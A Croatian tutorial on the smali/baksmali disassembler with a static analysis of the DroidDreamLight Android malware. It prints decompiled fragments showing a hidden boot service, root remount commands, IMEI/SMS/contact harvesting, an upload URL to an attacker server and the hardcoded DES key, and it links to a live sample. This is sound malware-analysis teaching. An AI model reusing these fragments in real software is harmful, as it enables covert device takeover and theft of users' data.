1. Uvod

Smali/baksmali je assembler/disassembler za format dex koji koristi dalvik, Androidinu implementacija Javinog virtualnog stroja. Sintaksa je temeljena na Jasmin/dedexterovoj sintaksi i podržava punu funkcionalnost .dex formata (bilješke, informacije o debugiranju, informacije o linijama itd.).

Imena smali i baksmali su islandski ekvivalenti za assembler i disasembler. Zašto islandski? Zato što je dalvik dobio ime po islandskom ribarskom mjestašcu.

Smali/baksmali ne dolazi s grafičkom podrškom, no usprkos tome je moćan alat za analizu zloćudnih programa.

                                
.class public LHelloWorld;
                                    
#Ye olde hello world application
#To assemble and run this on a phone or emulator:
#
#java -jar smali.jar -o classes.dex HelloWorld.smali
#zip HelloWorld.zip classes.dex 
#adb push HelloWorld.zip /data/local
#adb shell dalvikvm -cp /data/local/HelloWorld.zip HelloWorld
#
#if you get out of memory type errors when running smali.jar, try
#java -Xmx512m -jar smali.jar HelloWorld.smali
#instead
                                    
.super Ljava/lang/Object;
                                    
.method public static main([Ljava/lang/String;)V
.registers 2 
                                    
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
                                    
const-string	v1, "Hello World!"
                                    
invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
                                    
return-void
.end method
                            

Primjer 1 - Smali format – HelloWorld.smali



2. Primjer analize zloćudnog programa

Od zloćudnog programa će se koristiti inačica DroidDreama – DroidDreamLight. DroidDream je bio ugrađen u naizgled legitimni program koji je bio na Android Marketu. Iako je Google brzo reagirao, postoji procjena da je bilo od 50000 do 200000 izvršenih instalacija na uređajima. Varijantu DroidDreamLight antivirusi teško otkrivaju, a zloćudni program je nađen u Android programima na kineskom tržištu. Da bi se dohvatila kopija zloćudnog programa, može se koristiti Contagio blog stranica na:

http://contagiominidump.blogspot.ru/2011/09/droiddreamlight-new-variant-found-in.html

Napomena. Sve varijante DroidDreama dolaze u naizgled legitimnim programima, a kriju svoju prisutnost ili stvaranjem servisa na sustavu, koji korisniku nije vidljiv, ili traženjem od korisnika da ručno prvo izvrši nevaljali program stavljajući sebe na prvo mjesto liste izvršenja u AndroidManifest.xml.

2.1. Zadatak

Zadatak ove analize je istražiti funkcionalnosti zloćudnog koda programa. Program će se dekompajlirati baksmali alatom te će se dobivene .smali datoteke izanalizirati da se vidi kako program radi te koje su mu mogućnosti. Budući da zahvaćeni program ima mnogo mogućnosti, mogućnosti se neće obrađivati detaljno.

2.2. Instalacija programa

U ovom će se primjeru trebati imati instaliran Android SDK te virtualni stroj na kojemu će se instalirati Android. Poveznice su sljedeće:

, a od virtualnih strojeva se može koristiti VirtualBox ili VMWare:

Instalacija Android-x86 neće biti objašnjena u ovom primjeru, no zato postoji web stranica na kojoj se može vidjeti detaljan postupak: http://www.fixedbyvonnie.com/2014/02/install-android-4-4-kitkat-windows-using-virtualbox/#.VH-fX94mG5o (za VirtualBox) te http://www.vladan.fr/how-to-install-android-kitkat-in-vmware-workstation/ (za WMWare).

Prije nastavka, trebaju se instalirati svi alati koji nedostaju u SDK, a to se jednostavno napravi tako da se pokrene Android SDK Manager koji nudi GUI te se instaliraju potrebni alati.

Instalacija programa na virtualnom stroju je vrlo laka s alatima dobivenim od Android SDK-a. Potrebno se povezati s virtualnim strojem naredbom:

adb connect ip_adresa

Slika 2.1. Potrebna IP adresa

Slika 2.2. Povezivanje s virtualnim strojem

te nakon toga predati virtualnom stroju aplikaciju naredbom:

adb push package.apk /mnt/sdcard/package.apk

odnosno:

adb push com.button.phone_91595200_0.apk /mnt/sdcard/DroidDreamLight.apk

Slika 2.3. adb push naredba

Slika 2.4. Lokacija „gurnutog“ paketa

Slika 2.5. Popis zahtjeva programa

Slika 2.6. Izgled programa Switcher

2.3. Analiza programa

Analiza započinje pregledavanjem sadržaja .apk paketa. .apk paketi su u srži JAR datoteke i većina dekompresijskih alata ih može dekompresirati bez problema. Dekompresiranjem dohvaćene datoteke „com.button.phone_91595200_0.apk“, dobije se sljedeća struktura:

Slika 2.7. Prikaz raspakiranog .apk paketa

Sadržaji od kojih se direktorij sastoji su sljedeći:

  • META-INF – direktorij gdje su locirane tri datoteke

  • MANIFEST.MF – manifest datoteka, CERT.RSA (certifikat programa) i CERT.SF (datoteka gdje je locirana lista resursa s RSA-1 hashom)

  • res – direktorij gdje se mogu pronaći resursi koje program koristi (npr. slike, ikone itd.)

  • AndroidManifest.xml - datoteka koja prikazuje suštinske informacije o programu Android sustavu

  • classes.dex – sadrži razrede kompajlirane za Dalvik virtualni stroj

  • resources.arsc – sadrži binarni format resursa nakon što je iskompajliran

Više definicija se može pronaći na:

http://developer.android.com/guide/appendix/glossary.html

Nakon dekompresiranja .apk datoteke, neke datoteke su još uvijek kompresirane, kao npr. AndroidManifest.xml koja nije čista tekstualna .xml strukturirana datoteka. Kako bi se napravila dekompresija, potrebno je koristiti alat AXMLPrinter2.jar koji se može dohvatiti na: http://code.google.com/p/android4me/

Dohvaćanjem kopije AXMLPrinter2.jar može se dekompresirati manifest i spremiti ga u datoteku:

java –jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest.xml.clean

Zatim se može vidjeti AndroidManifest.xml datoteka u čistom tekstu te se uvjeriti da sadrži sljedeće:

<?xml version="1.0" encoding="utf-8" ?> 
<manifest 
    xmlns:android="http://schemas.android.com/apk/res/android" 
    android:versioncode="4" 
    android:versionname="1.3" 
    package="com.button.phone"
    >
 
    <uses-sdk 
        android:minsdkversion="6"
        > 
    </uses-sdk>
    
    <uses-permission 
        android:name="android.permission.INTERNET"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.CHANGE_WIFI_STATE"
        >
    </uses-permission>
    
    <uses-permission
        android:name="android.permission.CHANGE_NETWORK_STATE"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.ACCESS_WIFI_STATE"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.ACCESS_NETWORK_STATE"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.BLUETOOTH"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.BLUETOOTH_ADMIN"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.WRITE_SETTINGS"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.READ_PHONE_STATE"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.ACCESS_FINE_LOCATION"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.GET_ACCOUNTS"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.WRITE_SYNC_SETTINGS"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.READ_SYNC_SETTINGS"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.RECEIVE_BOOT_COMPLETED"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.INTERNET"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.READ_PHONE_STATE"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.RECEIVE_BOOT_COMPLETED"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.ACCESS_NETWORK_STATE"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.READ_CONTACTS"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.READ_SMS"
        >
    </uses-permission>
    
    <uses-permission 
        android:name="android.permission.GET_ACCOUNTS"
        >
    </uses-permission>
    
    <application 
        android:label="@7F060001"
        android:icon="@7F020009"
        >
    
        <activity 
            android:label="@7F060001"
            android:name=".Switcher"
            android:launchmode="1"
            >
            <intent-filter>
                <action 
                    android:name="android.intent.action.MAIN"
                    >
                </action>
                <category 
                    android:name="android.intent.category.LAUNCHER"
                    >
                </category>
            </intent-filter>
        </activity>
    
        <activity 
            android:name="com.google.ads.AdActivity"
            android:configchanges="0x000000B0"
            >
        </activity>
        <activity 
            android:label="@7F060032"
            android:name=".Setting"
            >
        </activity>
        <receiver 
            android:name=".Receiver"
            >
            <intent-filter>
                <action 
                    android:name="android.intent.action.BOOT_COMPLETED"
                    >
                </action>
            </intent-filter>
        </receiver>

        <receiver 
            android:name=".strategy.core.RebirthReceiver"
            >
            <intent-filter>
                <action 
                    android:name="android.intent.action.BOOT_COMPLETED"
                    >
                </action>
                <action 
                    android:name="android.intent.action.PHONE_STATE"
                >
                </action>
                <category 
                    android:name="android.intent.category.DEFAULT"
                    >
                </category>
            </intent-filter>
        </receiver>
    
        <service 
            android:name=".strategy.service.CelebrateService"
            >
        </service>
    </application>
</manifest>

                            

Neke od stvari koje se odmah mogu uočiti kao sumnjive su zahtijevane dozvole koje su potrebne da bi program radio:

  • SMS poruke

  • Sva područja mreža

  • Nekoliko stanja direktorija telefona i računa

  • Servis u pozadini

Vidljivi sadržaj u datoteci AndroidManifest.xml čest je na datotekama zaraženim zloćudnim programima: glavno tijelo datoteke pokazuje da je to program, no također postoji dodatan servis, zamotan da bude nevidljiv korisnicima.

Više o dopuštenjima može biti pronađeno na:

http://developer.android.com/reference/android/Manifest.permission.html

Prije nastavka na proces reverznog inženjerstva, potrebno je vidjeti što se zaista događa na sustavu. Da bi se dobio naredbeni pristup virtualnom uređaju, koristi se adb naredba s parametrom shell:

adb shell

Slika 2.8. Prikaz naredbe adb shell

Naredbena linija se sada odnosi na virtualni pametni telefon, a izvršenom naredbom ps dobije se uvid u nevaljale pokrenute servise

Slika 2.9. Prikaz servisa na virtualnom stroju s istaknutim nevaljalim servisom

Kako bi se saznalo više o ponašanju programa, nastavlja se analiziranjem binarnog koda lociranog u classes.dex. Pri statičkoj analizi, može se koristiti baksmali koji može dekompajlirati classes.dex u čitljivi format.

Napomena. Prilikom pokušaja čitanja u Windowsima može doći do greške, a rješenje je da se isključi antivirus

Classes.dex se dekompajlira naredbom:

java –jar baksmali-verzija.jar classes.dex

Slika 2.10. Prikaz izvršenja naredbe baksmali

Sadržaj classes.dex datoteke stvori se unutar direktorija naziva „out“.

Slika 2.11. Prikaz direktorija out

Datoteke koje su interesantne za ovu vježbu nalaze se unutar out/com/button/phone/ , posebno glavna datoteka „Switcher.smali“ te datoteke servisa „celebrate“.

Slika 2.12. Prikaz direktorija i poddirektorija strategy

Da bi se vidio sadržaj datoteka, može se koristiti bilo koji uređivač teksta. Gledajući u tekstualnu datoteku Switcher.smali, čini se je sve ispravno, kao što se i očekuje. Program bi trebao tražiti veze te rukovoditi njihovim stanjima. Switcher se može koristiti da se uključuje/isključuje gps/Bluetooth/wifi/zvuk.

Switcher.smali – odsječak koda:

                                
# static fields 
.field public static handler:Landroid/os/Handler;
                                    
# instance fields
.field private airBtn:Landroid/widget/ToggleButton;
.field private airTV:Landroid/widget/TextView;
.field private blueBtn:Landroid/widget/ToggleButton;
.field private blueTV:Landroid/widget/TextView;
.field private connectManager:Landroid/net/ConnectivityManager;
.field private gprsTV:Landroid/widget/TextView;
.field private gpsBtn:Landroid/widget/ToggleButton;
.field private gpsTV:Landroid/widget/TextView;
... 
                                

                            

Gledajući u kod programa, isprva se ne vidi nešto što bi moglo predstavljati prijetnju sustavu, no dubljim uvidom primjećuje se da, kada je program stvoren, postoji drugi primjerak koji pozive nevaljali servis.

Switcher.smali – odsječak koda:

                                
... 
.method public onCreate(Landroid/os/Bundle;)V
.registers 16
.param p1, "savedInstanceState"    # Landroid/os/Bundle;
.prologue
.line 140
invoke-super {p0, p1}, Landroid/app/Activity;-> onCreate(Landroid/os/Bundle;)V
.line 141
const/high16 v11, 0x7f030000
invoke-virtual {p0, v11}, Lcom/button/phone/Switcher;-> setContentView(I)V
.line 143
invoke-direct {p0}, Lcom/button/phone/Switcher;-> showNotify()V
.line 145
const-string v6, "DDH#X%LT"
.line 146
.local v6, "key":Ljava/lang/String;
new-instance v5, Landroid/content/Intent;
const-class v11, Lcom/button/phone/strategy/service/CelebrateService;
invoke-direct {v5, p0, v11}, Landroid/content/Intent;-> <init>
(Landroid/content/Context;Ljava/lang/Class;)V
.line 147
.local v5, "i":Landroid/content/Intent;
invoke-virtual {p0, v5}, Lcom/button/phone/Switcher;-> startService(Landroid/content/Intent;)Landroid/content/ComponentName;
.line 151 new-instance v11, Lcom/button/phone/NetworkStateReceiver; ...

Kao što se vidi, unutar direktorija phone/strategy leži servis koji je pokrenut u pozadini nakon instalacije programa.

Program, nakon što se instalira na sustav, instalira servis koji se pokreće prilikom dizanja uređaja. Servis može čitati postavke uređaja, uključujući SMS, imenik, IMEI te u isto vrijeme uploadati ih u kompresiranom i kriptiranom formatu, a ključ koji je korišten u enkripciji je „DDH#X%LT“ te je spremljen unutar DesPlus datoteke.

DesPlus.smali – odsječak koda:

                            
# static fields
.field private static final DES:Ljava/lang/String; = "DES"
.field public static final PASSWORD_CRYPT_KEY:Ljava/lang/String; = "DDH#X%LT"
...
                                
                            

Za razliku ostalih varijanti zloćudnog programa DroidDreama, glavni poziv servisa ima sljedeći oblik:

                            
# virtual methods
.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
    .registers 3
    .param p1, "intent"    # Landroid/content/Intent;
    .prologue
    .line 53
    const/4 v0, 0x0
    return-object v0
@Override public IBinder onBind(Intent intent) {
	return mBinder;
}                               
                            

Za vrijeme stvaranja procesa servisa, stvari postaju zanimljivije: DesPlus.smali – odsječak koda:

                            
.method public onCreate()V
    .registers 9
    .prologue
    const/4 v7, 0x0
    .line 108
    invoke-super {p0}, Landroid/app/Service;-> onCreate()V
    .line 109
    iput-object p0, p0, Lcom/button/phone/strategy/service/CelebrateService;-> mCtx:Landroid/content/Context;
    .line 118
    iget-object v1, p0, Lcom/button/phone/strategy/service/CelebrateService;-> mCtx:Landroid/content/Context;
    invoke-static {v1}, Lcom/button/phone/strategy/service/Tools;-> cpConfigFile(Landroid/content/Context;)V
                               
                            

Servis počinje sakupljati informacije o sustavu i stvara datoteku postavki naziva „sense.tcd“ koji se može naći unutar datoteke Tools.

Tools.smali – odsječak koda:

                                
.method public static cpConfigFile(Landroid/content/Context;)V
    .registers 4
    .param p0, "ctx"    # Landroid/content/Context;
    .prologue
    .line 374
    new-instance v0, Ljava/io/File;
    new-instance v1, Ljava/lang/StringBuilder;
    invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    invoke-virtual {p0}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
    move-result-object v2
    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
    move-result-object v1
    const-string v2, "/"
    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v1
    const-string v2, "sense.tcd"
    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v1
    invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v1
    invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    .line 375
    .local v0, "f":Ljava/io/File;
    if-eqz v0, :cond_2a
    invoke-virtual {v0}, Ljava/io/File;->exists()Z
    move-result v1
    if-nez v1, :cond_31
    .line 376
    :cond_2a
    const-string v1, "sense.tcd"
    const-string v2, "sense.tcd"
    invoke-static {p0, v1, v2}, Lcom/button/phone/strategy/service/Tools;->getRawResource(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Z
    .line 378
    :cond_31
    return-void
.end method                               
                            

U datoteci Tools može biti identificirano više svojstava i mogućnosti zloćudnog programa, primjerice to da je datoteka u mogućnosti izvoditi sljedeće radnje (kao što se slijedom prikazuje u metodama u datoteci Tools):

  • createInboxSms – stvaranje novog SMS-a

  • createNewSu – montiranje datotečnog sustava kao čitaj/piši (engl. read/write) kako bi se omogućilo kopiranje paketa u narednom radu koristeći naredbu cat

    Tools.smali – odsječak koda:

                            
.line 95
    const-string v6, "mount -o remount rw /system"
    invoke-static {v1, v6}, Lcom/button/phone/strategy/service/Tools;->runRootCommand(Ljava/lang/String;Ljava/lang/String;)V
.line 97
    new-instance v6, Ljava/lang/StringBuilder;
    const-string v7, "cat "
    invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init> (Ljava/lang/String;)V
    invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;-> append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v6
    const-string v7, " > "
                           
                            
  • filterXMLStringValue – parsiranje XML datoteka postavki koje su stvorene da bi se uploadao sadržaj

  • getApnProxy – dobivanje informacija o spojnosti

  • getCellId – dobivanje informacije o identifikacijskom broju poziva od sustava

  • getConfig – dobivanje privatne datoteke postavki „sense.tcd“

  • getCurrentApn – dobivanje trenutnog naziva pristupne točke (engl. APN – Access Point Name)

  • getDDPackageName – dobivanje dohvaćenih paketa iz unutrašnje datoteke postavki

  • getFeedProxys – zove metodu getVector da bi se omogućilo čitanje sense.tcd kako bi se našlo IP adrese za prijenos

    Tools.smali – odsječak koda:

                            
const-string v0, "Feed3Proxy9"
    invoke-static {p0, v0}, Lcom/button/phone/strategy/service/Tools;->getVector(Landroid/content/Context;Ljava/lang/String;)Ljava/util/Vector;
                           
                            
  • getFormatTime – dobivanje formata vremena

  • getImei – čitanje IMEI telefona

  • getIMSI – čitanje IMSI telefona

  • getLAC – dobianje lokalnog broja područja (engl. LAC – Local Area Code)

  • getMilliSecondByHourAndMins – točno vrijeme

  • getNextFeedbackTime – čitanje postavki radi dobivanja vremena sinkronizacije

  • getNextSmsTaskTime – dobivanje vremena rasporeda SMS zadatka prema internim postavkama

  • getRandomIndex – slučajni broj (int), služi za enkripciju

  • getRawResource – stvaralačka metoda za čitaj/piši sadržaj

  • getRootFileName – dohvaćanje Rname5 upisa iz unutrašnje datoteke postavki

  • getSMSC – dobivanje SMS imenika

  • getStringByCalendar – dohvaćanje mjeseci i datuma

  • getTaskProxys – dohvaćanje poslužitelja iz sense.tcd koji su korišteni za kontrolu zadataka

  • getUID – dobivanje korisničkog identifikacijskog broja

  • getUploadProxys – poslužitelji koji su korišteni da bi se uploadao sadržaj uređaja

  • getUploadUrl – stvara format URL-a koji je korišten da bi se poslalo podatke, oblik je izgleda: http://SERVERIP/p??PhoneType=TYPE&Version=VERSION&PhoneImei=IMEI&PhoneImsi=IMSI

  • getVector – parsiranje datoteke postavki

  • installPackage – instaliranje paketa u /system/app

    Tools.smali – odsječak koda:

                            
.method public static installPackage(Landroid/content/Context;Ljava/lang/String;I)V
    .registers 7
    .param p0, "ctx"    # Landroid/content/Context;
    .param p1, "filePath"    # Ljava/lang/String;
    .param p2, "systemApp"    # I
    .prologue
    const/16 v3, 0x2f
    .line 657
    const/4 v1, 0x1
    if-ne p2, v1, :cond_4e
    .line 659
    new-instance v1, Ljava/lang/StringBuilder;
    const-string v2, "/system/app/"
                      
                            
  • isPackageInstalled – provjera postoji li paket u sustavu

  • rootFileExists – provjera postoji li lažni super korisnik (engl. SU – Super User) unutar /system/bin

    Tools.smali – odsječak koda:

                            
.method public static rootFileExist(Landroid/content/Context;)Z
    .registers 4
    .param p0, "ctx"    # Landroid/content/Context;
    .prologue
    .line 66
    new-instance v0, Ljava/io/File;
    new-instance v1, Ljava/lang/StringBuilder;
    const-string v2, "/system/bin/"
    invoke-direct {v1, v2}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V
    invoke-static {p0}, Lcom/button/phone/strategy/service/Tools;->getRootFileName(Landroid/content/Context;)Ljava/lang/String;
    move-result-object v2
                      
                            
  • runRootCommand – izvršavanje naredbi na sustavu

  • saveConfig – stvaranje datoteke sense.tcd s DES enkripcijom

  • saveDDPackageName – spremanje liste unutrašnjih paketa

  • saveFeedProxys – ažuriranje liste poslužitelja

  • saveNextFeedbackTime – spremanje vremena sljedeće povratne veze

  • saveNextSmsTaskTime, saveRootFileName, saveTaskProxys, saveUploadProxys, saveVector – mogućnost spremanja podataka postavki u datoteku „sense.tcd“

  • sendSms – stvaranje SMS poruka

  • uninstallPackage – poziv pm uninstall, deinstalacija paketa

Kao što se vidi u metodama koje postoje na sustavu, program ima gotovo cijelu kontrolu nad sustavom, odnosno nedostaje jedino metoda snimanja zvuka.

Servis u redovnim intervalima stvara raspored preuzimanja informacija o SMS-u, kontaktima te računima kao što je postavljeno u datoteci postavki ažurirano s online naredbenim centrima u trenutku kada zloćudni program zahtijeva korisnikovu interakciju te inicijalnu instalaciju paketa.

Imena datoteka koje zloćudni program koristi također se mogu naći u uređaju:

Constants.smali – odsječak koda:

                                
.field public static final CALLLOG_FILENAME:Ljava/lang/String; = "calllog8"
                                
                            

- Spremljen dnevnik poziva s trajanjem

                            
.field public static final CALLLOG_ZIP_FILENAME:Ljava/lang/String; = "calllog_zip7"
                                
                            

- Spremljena kataloška lista imena

                            
.field public static final CONTACT_FILENAME:Ljava/lang/String; = "contact7"
                                
                            

- Spremljeno ime za kontakte

                                
.field public static final CONTACT_ZIP_FILENAME:Ljava/lang/String; = "contact_zip4"
                                
                            

- Spremljeno ime za kompresirani katalog

                            
.field public static final DD_CONFIG_DDPACKAGENAME:Ljava/lang/String; = "DDPackageName2"
                                
                            

- Parametar postavki, spremljen u sense.tcd

                            
.field public static final DD_CONFIG_FEEDPROXY:Ljava/lang/String; = "Feed3Proxy9"
                                
                            

- Vanjski poslužitelj

                            
.field public static final DD_CONFIG_NAME:Ljava/lang/String; = "sense.tcd"
                                
                            

- Ime datoteke postavki kriptiranom sa DES enkripcijom

                            
.field public static final DD_CONFIG_NEXTFEEDBACKTIME:Ljava/lang/String; = "Next3Feedback8"
                            
                            

- Raspored vremena za sljedeću komunikaciju

                            
.field public static final DD_CONFIG_NEXTTASKTIME:Ljava/lang/String; = "NextTask3"
                            
                            

- Raspored vremena za sljedeći zadatak

                            
.field public static final DD_CONFIG_ROOTNAME:Ljava/lang/String; = "RName5"

.field public static final DD_CONFIG_TASKPROXY:Ljava/lang/String; = "Task3Proxy5"

                            
                            

- Vanjski poslužitelj

                            
.field public static final DD_CONFIG_UPLOADPROXY:Ljava/lang/String; = "UploadProxy7"
                            
                            

- Vanjski poslužitelj za uploadanje sadržaja

                            
.field public static final DOWNLOAD_FILENAME:Ljava/lang/String; = "filename4"
                            
                            

- Paketi

                            
.field public static final DOWNLOAD_URL:Ljava/lang/String; = "url4"                            
                            
                            

- URL za pakete

                            
.field public static final Edition:Ljava/lang/String; = "3.2.1"                            
                            
                            

- Verzija

                            
.field public static final GOA_FILENAME:Ljava/lang/String; = "goa4"                            
                            
                            

- Informacija o Google računu

                            
.field public static final GOA_ZIP_FILENAME:Ljava/lang/String; = "goa_zip5"                           
                            
                            

- Kompresirana informacija o Google računu

                            
.field public static final NOTIFY_DESCRIPTION:Ljava/lang/String; = "Description4"
                            
                            

- Opis paketa

                            
.field public static final NOTIFY_PACKAGE:Ljava/lang/String; = "PackageName4"
                    
.field public static final SMSTASK:Ljava/lang/String; = "SMSTask2:"
                                    
                            

- SMS zadatak

                            
.field public static final SMSTASK_CONFIG_FILENAME:Ljava/lang/String; = "tsk9.dat"  
                            
                            

- Sadržaji prikupljeni sa SMS zadatka prikupljanja

Popis još nekih mogućnosti programa se nalazi u nastavku:

  1. Prikupljanje SMS-a u određenom rasporedu vremena

    SmsTask.smali – odsječak koda:

                                        
    .method public start()V
        .registers 3
        .prologue
        .line 216
        new-instance v0, Ljava/lang/Thread;
        iget-object v1, p0, Lcom/button/phone/strategy/core/SmsTask;->smsTask:Lcom/button/phone/strategy/core/SmsTask;
        invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                
                                
  2. Provjera stanja pokretanja sustava te pokretanje servisa

    RebirthReceiver.smali – odsječak koda:

                                        
    :cond_1a
        iget-object v0, p0, Lcom/button/phone/strategy/core/RebirthReceiver;->mCtx:Landroid/content/Context;
        new-instance v1, Landroid/content/Intent;
        iget-object v2, p0, Lcom/button/phone/strategy/core/RebirthReceiver;->mCtx:Landroid/content/Context;
        const-class v3, Lcom/button/phone/strategy/service/CelebrateService;
        invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
        invoke-virtual {v0, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                        
                                        
  3. Prikaz metode uploadFile iz httphandler

    HttpHandler.smali – odsječak koda:

                                        
    .method public uploadFile([BLjava/net/URL;)I
        .registers 5
        .param p1, "requestBytes"    # [B
        .param p2, "url"    # Ljava/net/URL;
        .prologue
        .line 162
        invoke-virtual {p0, p2}, Lcom/button/phone/strategy/net/HttpHandler;->setUrl(Ljava/net/URL;)V
        .line 163
        invoke-virtual {p0, p1}, Lcom/button/phone/strategy/net/HttpHandler;->setRequestbytes([B)V
        .line 164
        const-string v1, "POST"
        invoke-virtual {p0, v1}, Lcom/button/phone/strategy/net/HttpHandler;->setRequestMethos(Ljava/lang/String;)V
        .line 165
        const-string v1, "application/octet-stream"
        invoke-virtual {p0, v1}, Lcom/button/phone/strategy/net/HttpHandler;->setContent_type(Ljava/lang/String;)V
        .line 166
        invoke-direct {p0}, Lcom/button/phone/strategy/net/HttpHandler;->connect()I
                                 
                                
  4. Rukovođenje zahtjevima za menadžment paketa i nadogradnji

    ResponseHandler.smali – odsječak koda:

                                        
     .line 126
        iget-object v9, p0, Lcom/button/phone/strategy/net/ResponseHandler;->downloadContent:Landroid/content/ContentValues;
        const-string v10, "Description4"
        invoke-virtual {v9, v10, v1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
        .line 127
        iget-object v9, p0, Lcom/button/phone/strategy/net/ResponseHandler;->downloadContent:Landroid/content/ContentValues;
        const-string v10, "PackageName4"
        invoke-virtual {v9, v10, v4}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                                        
                                
  5. Rukovođenje naredbama i enkriptiranim sadržajem koji dolazi iz httphandlera

    TransactionService.smali – odsječak koda:

                                        
    .method public handlerRawData([B)Ljava/lang/String;
        .registers 7
        .param p1, "response"    # [B
        .prologue
        .line 229
        const-string v1, ""
        .line 231
        .local v1, "xml":Ljava/lang/String;
        :try_start_2
        new-instance v2, Ljava/lang/String;
        const-string v3, "DES"
        invoke-static {p1, v3}, Lcom/button/phone/strategy/util/DesPlus;->decrypt([BLjava/lang/String;)[B
        move-result-object v3
        const-string v4, "utf-8"
                                        
                                
  6. Rukovođenje datotekama (SMS katalozi, imenik, instalirani paketi)

    UploadFile.smali – odsječak koda:

                                        
    .line 140
        .local v1, "calllogPath":Ljava/lang/String;
        const-string v3, "calllog8"
        invoke-virtual {p1, v3}, Lcom/button/phone/strategy/core/ContactSmsHandler;->creatCallLogFile(Ljava/lang/String;)Z
    
                                        
                                
  7. Rukovođenje menadžmentom paketa s paketa koji su gurnuti na sustav

    AppManager.smali – odsječak koda:

                                        
    .method private downloadApp(Ljava/lang/String;Ljava/lang/String;)Z
        .registers 11
        .param p1, "url"    # Ljava/lang/String;
        .param p2, "fileName"    # Ljava/lang/String;
    
                                        
                                
  8. Pozadinski servis pokrenut u uređaju

    CelebrateService.smali – odsječak koda:

                                            
    .method public constructor <init>()V
        .registers 2
        .prologue
        .line 33
        invoke-direct {p0}, Landroid/app/Service;-><init>()V
        .line 56
        new-instance v0, Lcom/button/phone/strategy/service/CelebrateService$1;
        invoke-direct {v0, p0}, Lcom/button/phone/strategy/service/CelebrateService$1;-><init>(Lcom/button/phone/strategy/service/CelebrateService;)V
        iput-object v0, p0, Lcom/button/phone/strategy/service/CelebrateService;->handler:Landroid/os/Handler;
                                        
                                
  9. Čitaj/piši postavka datoteke „sense.tcd“

    Tools.smali – odsječak koda:

                                        
    .method public static getIMEI(Landroid/content/Context;)Ljava/lang/String;
        .registers 3
        .param p0, "context"    # Landroid/content/Context;
        .prologue
        .line 169
        const-string v1, "phone"
                                         
                                
  10. DES enkripcija s ključem

    DesPlus.smali – odsječak koda:

                                        
    .field public static final PASSWORD_CRYPT_KEY:Ljava/lang/String; = "DDH#X%LT"
                                        
                                

2.4. Zaključak analize

Analizirani zloćudni program je vrlo moćan. Daje zlonamjernome napadaču potpunu kontrolu nad uređajem te osjetljivim podacima na njemu, a istovremeno ga je vrlo teško otkriti. Mnoštvo sličnih zlonamjernih programa je ugrađeno u naizgled bezazlene aplikacije koje korisnici dohvaćaju i instaliraju, treba imati na umu da, nakon što se takav program počne koristiti, pametni telefon više nije korisnikov, već postaje igračka napadača.



3. Zaključak

Smali/baksmali je vrlo jednostavan alat, ali vrlo mnogo toga otkriva. Naime, samo s tim alatom i poznavanjem Smali koda, koji ne predstavlja nikakav problem ljudima koji znaju assembler, može se vršiti analiza zloćudnog programa. Danas je taj alat uključen u veće programe kao što su Androguard, APKinspector itd., a predstavlja osnovni alat koji koriste reverzni analitičari.



4. Literatura

[1] smali. https://code.google.com/p/smali/

[2] Android Malware Analysis. http://resources.infosecinstitute.com/android-malware-analysis/

[3] Android developers. http://developer.android.com/index.html

[4] Dunham K., Hartman S., Quintans M., Morales J. A., Strazzere T. (2014). Android Malware and Analysis. Boca Raton, FL: CRC Press.